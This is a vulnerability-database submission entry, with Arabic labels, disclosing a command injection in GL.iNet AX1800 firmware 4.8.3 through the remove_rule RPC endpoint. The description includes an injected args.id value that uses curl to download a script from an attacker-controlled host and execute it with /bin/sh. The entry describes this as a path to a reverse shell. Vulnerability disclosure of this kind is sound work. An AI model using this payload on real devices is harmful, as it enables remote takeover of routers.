| عنوان | GL.iNet AX1800 4.8.3 Command Injection |
|---|
| الوصف | The attacker can construct the following args.id value:
\n/usr/bin/curl http://192.168.0.2:8000/rs.sh -o /tmp/rs /bin/sh /tmp/rs#
When the device executes remove_rule, the above content is concatenated into the os.execute() command, causing the device to download rs.sh from the remote host and execute it. Since rs.sh is no longer subject to RPC parameter filtering, it may contain a reverse shell, persistence logic, or arbitrary system commands, ultimately leading to full compromise of the device. |
|---|
| المصدر | ⚠️ https://github.com/xxianxiayubanmian/iot/blob/main/GL-link%20AX1800.md |
|---|
| المستخدم | misaki_ce (UID 98836) |
|---|
| ارسال | 12/06/2026 08:56 PM (2 أشهر منذ) |
|---|
| الاعتدال | 04/08/2026 10:33 AM (2 months later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 385788 [GL.iNet AX1800 حتى 4.8.3 RPC Endpoint oui-rpc.lua remove_rule args.id تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|